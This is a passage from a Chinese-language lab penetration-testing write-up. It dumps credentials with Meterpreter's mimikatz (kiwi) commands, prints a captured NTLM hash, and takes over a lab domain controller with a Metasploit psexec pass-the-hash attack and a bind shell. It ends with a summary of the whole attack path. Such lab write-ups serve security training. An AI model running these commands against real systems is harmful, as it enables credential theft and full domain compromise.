golden_ticket_create #创建黄金票据
kerberos_ticket_list #列举kerberos票据
kerberos_ticket_purge #清除kerberos票据
kerberos_ticket_use #使用kerberos票据
kiwi_cmd #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam #dump出lsa的SAM
lsa_dump_secrets #dump出lsa的密文
password_change #修改密码
wifi_list #列出当前用户的wifi配置文件
wifi_list_shared #列出共享wifi配置文件/编码
但是提示无法执行。
需要把meterpreter进程迁移到一个64位程序的进程中,才能正常使用。
meterpreter>ps #查看进程信息
可以看到CS生成的后门是x86的。
找到一个x64的进程。
meterpreter>migrate 3048
重新执行后成功获取到哈希:
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
得到的NTLM哈希值为:
1f3c23b3d7f228e6f03a68d0e509636f
在 Metasploit 中,经常使用于哈希传递攻击的模块有:
auxiliary/admin/smb/psexec_command #在目标机器上执行系统命令
exploit/windows/smb/psexec #用psexec执行系统命令
exploit/windows/smb/psexec_psh #使用powershell作为payload
以exploit/windows/smb/psexec模块哈希传递攻击 Windows Server 2008 为例:
use exploit/windows/smb/psexec
set rhosts 192.168.93.2
set smbuser administrator
set smbpass 00000000000000000000000000000000:1f3c23b3d7f228e6f03a68d0e509636f
set smbdomain god
run
可能是防火墙的原因:关闭一下。
重新尝试一下:
但还是不行。
这里经过摸索,借鉴vulnstack-07的经验,由于是内网环境,需要修改一下payload为正向shell,我们的msf主动去连接目标主机:
set payload windows/meterpreter/bind_tcp
set lhost 192.168.93.2 #域控的ip
set lport 9999 # 域控要监听的端口
run
成功获取到域控的system权限,至此域控成功拿下。✅
总结
渗透路径回顾:
边界突破:
1)边界确定:->拿到DMZ边界主机的IP
2)边界端口扫描:->nmap端口扫描->发现80、3306等敏感端口
3)web服务信息收集:->php探针->发现mysql和phpmyadmin弱口令:root/root
4)web服务信息收集:->获取后台登录路径和凭据
5)web后台漏洞挖掘:->文件上传漏洞->写入木马getshell
6)DMZ区后渗透:->CS上线、凭据抓取、psexec攻击域控【第一条路径打通✅】
内网渗透:
1)内网渗透:->域内信息收集->DMZweb开启3389端口->远程登录DMZ区web服务器
2)meterpreter获取:CS联动MSF、msfvenom生成后门。
3)内网横向移动->为msf添加内网路由、进行端口扫描、kiwi抓取NTLM哈希
4)攻击域控->利用PTH哈希传递攻击拿下域控的system权限。